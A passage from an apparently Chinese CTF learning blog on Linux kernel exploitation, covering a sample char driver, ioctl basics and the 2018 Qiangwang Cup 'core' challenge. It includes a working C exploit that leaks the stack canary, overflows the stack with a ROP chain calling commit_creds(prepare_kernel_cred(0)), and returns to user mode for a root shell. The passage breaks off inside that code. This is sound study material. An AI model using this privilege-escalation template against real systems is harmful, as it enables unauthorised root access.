(mutex_lock_interruptible(&amp;dev-&gt;mutex))</span><br><span class="line">            <span class="keyword">return</span> -ERESTARTSYS;</span><br><span class="line">        scull_trim(dev); <span class="comment">/* Ignore errors. */</span></span><br><span class="line">        mutex_unlock(&amp;dev-&gt;mutex);</span><br><span class="line">    &#125;</span><br><span class="line">    printk(KERN_DEBUG <span class="string">"process %i (%s) success open minor(%u) file\n"</span>, current-&gt;pid, current-&gt;comm, iminor(inode));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * The "extended" operations -- only seek.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">loff_t</span> scull_llseek(struct file *filp, <span class="keyword">loff_t</span> off, <span class="keyword">int</span> whence)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">scull_dev</span> *<span class="title">dev</span> = <span class="title">filp</span>-&gt;<span class="title">private_data</span>;</span></span><br><span class="line">    <span class="keyword">loff_t</span> newpos;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">switch</span>(whence) &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">0</span>: <span class="comment">/* SEEK_SET */</span></span><br><span class="line">        newpos = off;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>: <span class="comment">/* SEEK_CUR */</span></span><br><span class="line">        newpos = filp-&gt;f_pos + off;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>: <span class="comment">/* SEEK_END */</span></span><br><span class="line">        newpos = dev-&gt;<span class="built_in">size</span> + off;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">default</span>: <span class="comment">/* can't happen */</span></span><br><span class="line">        <span class="keyword">return</span> -EINVAL;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (newpos &lt; <span class="number">0</span>)</span><br><span class="line">        <span class="keyword">return</span> -EINVAL;</span><br><span class="line">    filp-&gt;f_pos = newpos;</span><br><span class="line">    <span class="keyword">return</span> newpos;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file_operations</span> <span class="title">scull_fops</span> = &#123;</span></span><br><span class="line">    .owner =    THIS_MODULE,</span><br><span class="line">    .llseek =   scull_llseek,</span><br><span class="line">    .<span class="built_in">read</span> =     scull_read,</span><br><span class="line">    .<span class="built_in">write</span> =    scull_write,</span><br><span class="line">    <span class="comment">// .unlocked_ioctl = scull_ioctl,</span></span><br><span class="line">    .<span class="built_in">open</span> =     scull_open,</span><br><span class="line">    .<span class="built_in">release</span> =  scull_release,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Set up the char_dev structure for this device.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">scull_setup_cdev</span><span class="params">(struct scull_dev *dev, <span class="keyword">int</span> index)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> err, devno = MKDEV(scull_major, scull_minor + index);</span><br><span class="line"></span><br><span class="line">    cdev_init(&amp;dev-&gt;cdev, &amp;scull_fops);</span><br><span class="line">    dev-&gt;cdev.owner = THIS_MODULE;</span><br><span class="line">    dev-&gt;cdev.ops = &amp;scull_fops;</span><br><span class="line">    err = cdev_add (&amp;dev-&gt;cdev, devno, <span class="number">1</span>);</span><br><span class="line">    <span class="comment">/* Fail gracefully if need be. */</span></span><br><span class="line">    <span class="keyword">if</span> (err)</span><br><span class="line">        printk(KERN_NOTICE <span class="string">"Error %d adding scull%d"</span>, err, index);</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        printk(KERN_INFO <span class="string">"scull: %d add success\n"</span>, index);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">scull_cleanup_module</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> i;</span><br><span class="line">    <span class="keyword">dev_t</span> devno = MKDEV(scull_major, scull_minor);</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Get rid of our char dev entries. */</span></span><br><span class="line">    <span class="keyword">if</span> (scull_devices) &#123;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; scull_nr_devs; i++) &#123;</span><br><span class="line">            scull_trim(scull_devices + i);</span><br><span class="line">            cdev_del(&amp;scull_devices[i].cdev);</span><br><span class="line">        &#125;</span><br><span class="line">        kfree(scull_devices);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* cleanup_module is never called if registering failed. */</span></span><br><span class="line">    unregister_chrdev_region(devno, scull_nr_devs);</span><br><span class="line">    printk(KERN_INFO <span class="string">"scull: cleanup success\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">scull_init_module</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> result, i;</span><br><span class="line">    <span class="keyword">dev_t</span> dev = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * Get a range of minor numbers to work with, asking for a dynamic major</span></span><br><span class="line"><span class="comment">     * unless directed otherwise at load time.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">if</span> (scull_major) &#123;</span><br><span class="line">        dev = MKDEV(scull_major, scull_minor);</span><br><span class="line">        result = register_chrdev_region(dev, scull_nr_devs, <span class="string">"scull"</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        result = alloc_chrdev_region(&amp;dev, scull_minor, scull_nr_devs, <span class="string">"scull"</span>);</span><br><span class="line">        scull_major = MAJOR(dev);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (result &lt; <span class="number">0</span>) &#123;</span><br><span class="line">        printk(KERN_WARNING <span class="string">"scull: can't get major %d\n"</span>, scull_major);</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        printk(KERN_INFO <span class="string">"scull: get major %d success\n"</span>, scull_major);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">/*</span></span><br><span class="line"><span class="comment">     * Allocate the devices. This must be dynamic as the device number can</span></span><br><span class="line"><span class="comment">     * be specified at load time.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    scull_devices = kmalloc(scull_nr_devs * <span class="keyword">sizeof</span>(struct scull_dev), GFP_KERNEL);</span><br><span class="line">    <span class="keyword">if</span> (!scull_devices) &#123;</span><br><span class="line">        result = -ENOMEM;</span><br><span class="line">        <span class="keyword">goto</span> fail;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">memset</span>(scull_devices, <span class="number">0</span>, scull_nr_devs * <span class="keyword">sizeof</span>(struct scull_dev));</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* Initialize each device. */</span></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; scull_nr_devs; i++) &#123;</span><br><span class="line">        scull_devices[i].quantum = scull_quantum;</span><br><span class="line">        scull_devices[i].qset = scull_qset;</span><br><span class="line">        mutex_init(&amp;scull_devices[i].mutex);</span><br><span class="line">        scull_setup_cdev(&amp;scull_devices[i], i);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>; <span class="comment">/* succeed */</span></span><br><span class="line"></span><br><span class="line">  fail:</span><br><span class="line">    scull_cleanup_module();</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init(scull_init_module);</span><br><span class="line">module_exit(scull_cleanup_module);</span><br></pre></td></tr></table></figure>

<p>makefile：</p>
<figure class="highlight makefile"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">ifneq</span> (<span class="variable">$(KERNELRELEASE)</span>,)</span><br><span class="line"></span><br><span class="line">	obj-m := file_operations.o</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"></span><br><span class="line">	KERN_DIR ?= /usr/src/linux-headers-<span class="variable">$(<span class="built_in">shell</span> uname -r)</span>/</span><br><span class="line">	PWD := <span class="variable">$(<span class="built_in">shell</span> pwd)</span></span><br><span class="line"></span><br><span class="line"><span class="section">default:</span></span><br><span class="line"></span><br><span class="line">	<span class="variable">$(MAKE)</span> -C <span class="variable">$(KERN_DIR)</span> M=<span class="variable">$(PWD)</span> modules</span><br><span class="line"></span><br><span class="line"><span class="keyword">endif</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="section">clean:</span></span><br><span class="line">	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions</span><br></pre></td></tr></table></figure>

<h3 id="IDA界面如下-1"><a href="#IDA界面如下-1" class="headerlink" title="IDA界面如下"></a>IDA界面如下</h3><p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584963141639.png" alt="1584963141639"></p>
<p>可以看到这边是一系列的对应的操作函数</p>
<hr>
<p>驱动提供的接口是<code>/dev/xxx</code>，在Linux下<code>Everything is File</code>，所以对驱动设备的操作其实就是对文件的操作，所以一个驱动就是用来<strong>定义</strong>，<strong>打开/读/写/……一个<code>/dev/xxx</code>将会发生啥</strong>，驱动提供的API（fops中指定的）也就是<strong>一系列的文件操作</strong></p>
<p><code>struct file_operations scull_fops</code>结构体中实现了的函数就会静态初始化上函数地址，而未实现的函数，值为NULL</p>
<p>结构体中实现的几个call，冒号右侧的函数名是由开发者自己起的，在驱动程序载入内核后，其他用户程序程序就可以借助<strong>文件方式</strong>像进行系统调用一样调用这些函数实现所需功能。</p>
<p>这里是一些已知的常见对应操作：</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Events		User functions		Kernel functions</span><br><span class="line">Load		insmod				module_init()</span><br><span class="line">Open		fopen				file_operations: open</span><br><span class="line">Close		fread				file_operations: read</span><br><span class="line">Write		fwrite				file_operations: write</span><br><span class="line">Close		fclose				file_operations: release</span><br></pre></td></tr></table></figure>

<p><a href="https://paper.seebug.org/779/#1-" target="_blank" rel="noopener">这里</a>还有一些知识点，比如驱动分类，主次编号，什么的，我写的这些主要也是参考了这篇文章</p>
<hr>
<p>之后insmod，此时虽然驱动已经加载成功了（dmesg可以看到驱动主编号是246，分别用四个次编号标记了4个设备，4个是怎么来的看上面代码就知道了）</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584964191239.png" alt="1584964191239"></p>
<p>但是此时并不会在/dev目录下创建设备文件，需要我们手动使用<code>mknod</code>进行设备链接</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584964631604.png" alt="1584964631604"></p>
<p>此时还可以指定设备类型，然后删除就直接使用rm就好了</p>
<p>这里记一下命令：<br>dmesg可以查看syslog<br>cat /proc/devices 中查看设备的类型（左边是主设备号，右边的是设备名）<br>mknod 设备名 设备类型(字符：c,块：b) 主设备号 从设备号</p>
<p>rmmod之后dmesg还可以看到一条<code>scull: cleanup success</code></p>
<h1 id="kernel-pwn基础知识"><a href="#kernel-pwn基础知识" class="headerlink" title="kernel pwn基础知识"></a>kernel pwn基础知识</h1><p>在<a href="https://www.anquanke.com/post/id/172216" target="_blank" rel="noopener">这篇文章</a>，中有这么一句话</p>
<blockquote>
<p>如果驱动在init中执行了proc_create(“core”, 0x1B6LL, 0LL, &amp;core_fops)，文件名是“core”，而且在回调中实现了ioctl，那么其他用户程序就可以先fopen这个core获取文件指针fd，然后执行ioctl(fd,&lt;参数&gt;,&lt;参数&gt;)来进行具体操作，其他的fop中的回调接口函数也类似。</p>
</blockquote>
<p>然后我就去看了ioctl是什么：</p>
<hr>
<blockquote>
<p>ioctl(input/output control)是一个专用于设备输入输出操作的系统调用,该调用传入一个跟设备有关的请求码，系统调用的功能完全取决于请求码</p>
</blockquote>
<blockquote>
<p>ioctl是设备驱动程序中对设备的I/O通道进行管理的函数。所谓对I/O通道进行管理，就是对设备的一些特性进行控制，例如串口的传输波特率、马达的转速等等。它的调用个数如下：</p>
</blockquote>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">ioctl</span><span class="params">(<span class="keyword">int</span> fd, ind cmd, …)</span></span>;</span><br></pre></td></tr></table></figure>

<blockquote>
<p>其中fd是用户程序打开设备时使用open函数返回的文件标示符，cmd是用户程序对设备的控制命令，至于后面的省略号，那是一些补充参数，一般最多一个，这个参数的有无和cmd的意义相关。</p>
</blockquote>
<blockquote>
<p>ioctl函数是文件结构中的一个属性分量，就是说如果你的驱动程序提供了对ioctl的支持，用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。</p>
</blockquote>
<hr>
<p>差不多就是我们与驱动设备交互的一个函数吧，一般前两个参数是fd还有控制码，然后还有一句话</p>
<blockquote>
<p>一个进程的在用户态和内核态是对应了完全不搭边儿的两个栈的，用户栈和内核栈既然相互隔离，在系统调用或者调用驱动、内核模块函数时就不能通过栈传参了，而要通过寄存器，像拷贝这样的操作也要借助具体的函数：copy_to_user/copy_from_user</p>
</blockquote>
<p>就是说内核栈和用户栈是相互隔离的，然后通过寄存器传参</p>
<p>然后<strong>进入kernel态</strong>一般有如下情况：</p>
<ol>
<li><p>系统调用</p>
</li>
<li><p>产生异常</p>
</li>
<li><p>外设产生中断</p>
<p>等等</p>
</li>
</ol>
<p>至于提权的话就是这些了：由于这些内核模块运行时的权限是root权限，因此我们将有机会借此拿到root权限的shell，流程上就是C程序exp调用内核模块利用其漏洞提权，只是提权后要“着陆”回用户态拿shell。提权代码是<code>commit_creds(prepare_kernel_cred(0))</code></p>
<h2 id="进入kernel态进行的操作"><a href="#进入kernel态进行的操作" class="headerlink" title="进入kernel态进行的操作"></a>进入kernel态进行的操作</h2><p>保存用户态的各个寄存器，以及执行到代码的位置</p>
<h2 id="从kernel态返回用户态进行的操作"><a href="#从kernel态返回用户态进行的操作" class="headerlink" title="从kernel态返回用户态进行的操作"></a>从kernel态返回用户态进行的操作</h2><p>执行swapgs 和 iret 指令</p>
<h2 id="一般的攻击思路"><a href="#一般的攻击思路" class="headerlink" title="一般的攻击思路"></a>一般的攻击思路</h2><p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584965699729.png" alt="1584965699729"></p>
<hr>
<p>记一下命令：</p>
<p>查看所开保护cat /proc/cpuinfo<br>查看内核堆块 cat /proc/slabinfo<br>查看prepare_kernel_cred和commit_creds地址<br>    grep prepare_kernel_cred  /proc/kallsyms<br>    grep commit_creds  /proc/kallsyms </p>
<hr>
<h1 id="实操linux-kernel-ROP"><a href="#实操linux-kernel-ROP" class="headerlink" title="实操linux kernel ROP"></a>实操linux kernel ROP</h1><h2 id="强网杯2018-core"><a href="#强网杯2018-core" class="headerlink" title="强网杯2018-core"></a>强网杯2018-core</h2><p>下载下来压缩文件之后看到有这几个文件：</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584966164347.png" alt="1584966164347"></p>
<p>其中对应的文件意思如下（来自星盟公开课的截图）：</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584966068272.png" alt="1584966068272"></p>
<p>其中bzImage是打包的内核代码，可以用来寻找<strong>gadget</strong></p>
<p>这里写一下师傅们的注意事项：</p>
<blockquote>
<p>注意，vmlinux是未经压缩的，然而在core.cpio里面也有一个vmlinux，里面那个是起系统后真正的vmlinux，按理说这俩应该是一样的，单独拿出来是为了你方便分析，但是笔者亲测的时候发现这俩竟然不一样，可能是下载的时候弄错了？如果读者也遇到相同情况，不要用外面那个，一定要用core.cpio里面那个</p>
</blockquote>
<p>start.sh中有以下内容</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">qemu-system-x86_64 \</span><br><span class="line">-m 64M \</span><br><span class="line">-kernel ./bzImage \</span><br><span class="line">-initrd  ./core.cpio \</span><br><span class="line">-append <span class="string">"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"</span> \ <span class="comment">#这里开启了kaslr保护</span></span><br><span class="line">-s  \</span><br><span class="line">-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \</span><br><span class="line">-nographic  \</span><br></pre></td></tr></table></figure>

<p>我们可以自己再做一份rootstart.sh还有一个root.cpio，主要是用来调试</p>
<p>其中在sh文件最后加上gdb调试的选项：<code>-gdb tcp::1234</code><br>还有比如关掉kaslr</p>
<p>新制作的root.cpio中则需要修改以下几点：</p>
<ol>
<li>cpio包中的init文件，里面有一行poweroff，是到时间自动关机的命令，可以取消掉</li>
<li>同样是init文件，setsid /bin/cttyhack setuidgid 1000 /bin/sh改成0000，这样就可以以root身份启动了</li>
</ol>
<p>ps:这里就是整个系统的配置，如果发现有什么配置有问题的话说不定就非预期解了….然后系统初始化操作没有写在这里的话看看<code>/etc/init.d/rcS</code>，有时候初始化配置会写在这里</p>
<p>新制作的<code>rootstart.sh</code>就是这样：</p>
<figure class="highlight sh"><table><tr><td class="code"><pre><span class="line">qemu-system-x86_64 \</span><br><span class="line">-m 64M \</span><br><span class="line">-kernel ./bzImage \</span><br><span class="line">-initrd  ./root.cpio \ <span class="comment">#用新的root.cpio启动</span></span><br><span class="line">-append <span class="string">"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"</span> \ <span class="comment">#nokslr</span></span><br><span class="line">-s  \</span><br><span class="line">-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \</span><br><span class="line">-nographic  \</span><br><span class="line">-gdb tcp::1234 <span class="comment"># gdb 调试端口</span></span><br></pre></td></tr></table></figure>

<h3 id="启动踩坑"><a href="#启动踩坑" class="headerlink" title="启动踩坑"></a>启动踩坑</h3><p>然后启动….</p>
<p>但是启动的时候我疯狂踩坑，被坑了很久很久</p>
<p>那个-s就是代表了<code>-gdb tcp::1234</code>所以并不需要这一行….</p>
<p>然后qemu第一个报错是：<code>Initramfs unpacking failed: incorrect cpio method used: use -H newc option</code>，因为我在之前尝试用</p>
<p><code>cpio -idmv &lt; core.cpio</code>解包的时候就发现有点问题，所以我就用图形化界面的解包工具把cpio解包了之后再用<code>find . | cpio -o --format=newc &gt; ./root.cpio</code>，把它重新打包了一下</p>
<p>接着发现还是起不起来，找了师<a href="http://eternalsakura13.com/2018/03/31/b_core/" target="_blank" rel="noopener">傅们的博客</a>，就又把上面<code>.sh</code>中的 -m 64改成了 -m 128</p>
<p>还是起不来（跪，报错：Kernel panic - not syncing: Out of memory and no killable processes…</p>
<p>本来以为是自己虚拟机的问题，先跑过去激活了之前忘记激活的swap分区…然后各种操作，最后….</p>
<p>找了半天原因，…..发现原来是师傅们的128也不行，改成 -m 256M跑起来了，也差不多懂了 qemu 的-m到底是干嘛的……</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>啊….总算可以开始正式写题了</p>
<p>这里记一下一般kernel pwn的步骤吧，就照着师傅们写的来</p>
<h3 id="第一步"><a href="#第一步" class="headerlink" title="第一步"></a>第一步</h3><p><strong>先看init函数和fop结构体</strong></p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584974897309.png" alt="1584974897309"></p>
<p>可见驱动文件创建于proc下的core文件，在我们的用户程序中对ioctl等驱动函数的访问就是通过core文件来进行的</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584974842581.png" alt="1584974842581"></p>
<p>可以看到fop回调中只实现了如图三个回调，因此，虽然ida左侧的函数列表中还有core_read、core_copy_func但是这俩是驱动内部的函数，是不能由用户程序来调用的</p>
<h3 id="ioctl"><a href="#ioctl" class="headerlink" title="ioctl"></a>ioctl</h3><p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584974968510.png" alt="1584974968510"></p>
<p>根据请求码执行相应的函数</p>
<h3 id="core-read"><a href="#core-read" class="headerlink" title="core_read"></a>core_read</h3><p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584975417499.png" alt="1584975417499"></p>
<p>这里的意思大概就是打印了off还有ioctl第三个参数的值</p>
<p>然后进行了一个类似memset的操作，接着从栈buffer的off偏移位置开始拷贝给用户64字节的数据</p>
<p>显然off如果可控的话就leak了canary或者其他一些东西</p>
<p>然而off在我们传入的控制码为<code>0x6677889C</code>时，就可以直接赋值为ioctl的第三个参数</p>
<h3 id="core-copy-func"><a href="#core-copy-func" class="headerlink" title="core_copy_func"></a>core_copy_func</h3><p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584975853772.png" alt="1584975853772"></p>
<p>这个函数的意思就是ioctl的第三个参数如果大于0x3F时，就会detect到溢出然后直接返回，否则直接从name全局变量中拷入p3个字节的数据到v3这个栈buffer中，但是在memcpy时p3被转换成了unsigned __int16，所以我们在p3为负数时可以实现一个比较大的overflow</p>
<h3 id="core-write"><a href="#core-write" class="headerlink" title="core_write"></a>core_write</h3><p>再来看注册过的write函数</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584976661640.png" alt="1584976661640"></p>
<p>user的buffer就是通过这个函数传给name，不过这里看不到v5的赋值</p>
<p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584976821281.png" alt="1584976821281"></p>
<p>在汇编里面可以看到这个赋值是通过rsi来进行的</p>
<p>所以流程就是这样：</p>
<ol>
<li>设置off值 </li>
<li>泄露canary</li>
<li>把rop链写进name变量</li>
<li>利用无符号整型漏洞进行栈溢出写rop链</li>
</ol>
<h3 id="ret2user-amp-exp"><a href="#ret2user-amp-exp" class="headerlink" title="ret2user&amp;exp"></a>ret2user&amp;exp</h3><p><img src="/2020/03/23/kernel%E5%85%A5%E9%97%A8/1584977702149.png" alt="1584977702149"></p>
<p>注意init脚本中拷贝了一份内核函数表到<code>/tmp/kallsyms</code>,可以供我们直接读到内核函数地址，此时读到的符号在开启kaslr下就是读到的kaslr后的地址，可以减去没有开kaslr时的偏移</p>
<p>对于kernel pwn的exp的话先看别人是怎么写的吧，然后自己再慢慢学着写，模板肯定都是差不多的</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/stat.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;sys/ioctl.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">save_status</span><span class="params">()</span></span>;<span class="comment">//保存用户状态时寄存器</span></span><br><span class="line"><span class="keyword">size_t</span> find_symbols();<span class="comment">//查看/tmp/kallsyms找到kaslr下函数的地址</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">getpwn</span><span class="params">()</span></span>;<span class="comment">//跑/bin/sh</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">core_copy_func</span><span class="params">(<span class="keyword">int</span> fd,<span class="keyword">long</span> <span class="keyword">long</span> <span class="keyword">int</span> <span class="built_in">size</span>)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">core_read</span><span class="params">(<span class="keyword">int</span> fd,<span class="keyword">char</span>* buf)</span></span>;<span class="comment">//这两个就是通过ioctl的操作码来和驱动设备交互了</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">size_t</span> vmlinux_base = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">size_t</span> commit_creds = <span class="number">0</span>, prepare_kernel_cred = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">size_t</span> raw_vmlinux_base = <span class="number">0xffffffff81000000</span>;</span><br><span class="line"><span class="keyword">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123; </span><br><span class="line">   save_status();</span><br><span class="line">   <span class="keyword">int</span> fd = <span class="built_in">open</span>(<span class="string">"/proc/core"</span>, <span class="number">2</span>);</span><br><span class="line">   <span class="keyword">if</span>(fd&lt;<span class="number">0</span>)</span><br><span class="line">   &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"[*] open /proc/core error"</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   find_symbols();</span><br><span class="line">   <span class="keyword">size_t</span> offset=vmlinux_base-raw_vmlinux_base;<span class="comment">//raw_vmlinux_base是我们没有开启kaslr时的内核加载基址，这里就是算出aslr的offset</span></span><br><span class="line">   setoff(fd,<span class="number">0x40</span>);<span class="comment">//将off的值 设置成canary对应的偏移</span></span><br><span class="line">   <span class="keyword">char</span> buf[<span class="number">0x40</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line">   core_read(fd,buf);<span class="comment">//把canary读到这个buf数组里面去</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">size_t</span> canary=((<span class="keyword">size_t</span> *)buf)[<span class="number">0</span>];</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"[*] canary :%p\n"</span>, canary);</span><br><span class="line">   <span class="keyword">size_t</span> rop[<span class="number">0x1000</span>];</span><br><span class="line">   <span class="keyword">int</span> i;</span><br><span class="line">   <span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;<span class="number">10</span>;i++)</span><br><span class="line">   &#123;</span><br><span class="line">    rop[i]=canary;</span><br><span class="line">   &#125;</span><br><span class="line">    rop[i++] = <span class="number">0xffffffff81000b2f</span> + offset; <span class="comment">// pop rdi; ret</span></span><br><span class="line">    rop[i++] = <span class="number">0</span>;</span><br><span class="line">    rop[i++] = prepare_kernel_cred;         <span class="comment">// prepare_kernel_cred(0)</span></span><br><span class="line"></span><br><span class="line">    rop[i++] = <span class="number">0xffffffff810a0f49</span> + offset; <span class="comment">// pop rdx; ret   </span></span><br><span class="line">    rop[i++] = <span class="number">0xffffffff81021e53</span> + offset; <span class="comment">// pop rcx; ret   rdx=&amp;'pop rcx; ret'</span></span><br><span class="line">    rop[i++] = <span class="number">0xffffffff8101aa6a</span> + offset; <span class="comment">// mov rdi, rax; call rdx; prepare_kernel_cred(0)返回值放到rdi</span></span><br><span class="line">                                            <span class="comment">//call rdx:pop rcx 把call保存的rip放到rcx去，这一步没什么意义只是为了直接ret到下一条</span></span><br><span class="line">    rop[i++] = commit_creds;<span class="comment">//执行commit_creds(rdi)</span></span><br><span class="line"></span><br><span class="line">    rop[i++] = <span class="number">0xffffffff81a012da</span> + offset; <span class="comment">// swapgs; popfq; ret </span></span><br><span class="line">    rop[i++] = <span class="number">0</span>;<span class="comment">//为了gadget中的popfq</span></span><br><span class="line"></span><br><span class="line">    rop[i++] = <span class="number">0xffffffff81050ac2</span> + offset; <span class="comment">// iretq; ret; 此时之前保存的用户态数据就有作用了</span></span><br><span class="line">    rop[i++] = (<span class="keyword">size_t</span> )getpwn;</span><br><span class="line">    rop[i++] = user_cs;</span><br><span class="line">    rop[i++] = user_rflags;</span><br><span class="line">    rop[i++] = user_sp;</span><br><span class="line">    rop[i++] = user_ss;</span><br><span class="line">    <span class="built_in">write</span>(fd,rop,<span class="number">0x800</span>);<span class="comment">//先用write写到name中，因为此设备的write是注册过的，所以可以直接用write写进去</span></span><br><span class="line">    core_copy_func(fd,<span class="number">0xffffffffffff0000</span> | (<span class="number">0x100</span>));<span class="comment">//然后开始core_copy实现栈溢出</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">core_copy_func</span><span class="params">(<span class="keyword">int</span> fd,<span class="keyword">long</span> <span class="keyword">long</span> <span class="keyword">int</span> <span class="built_in">size</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"[*] going core_copy_func"</span>);</span><br><span class="line">    ioctl(fd,<span class="number">0x6677889A</span>,<span class="built_in">size</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">getpwn</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123; </span><br><span class="line">   <span class="keyword">if</span>(!getuid())</span><br><span class="line">   &#123;</span><br><span class="line">      system(<span 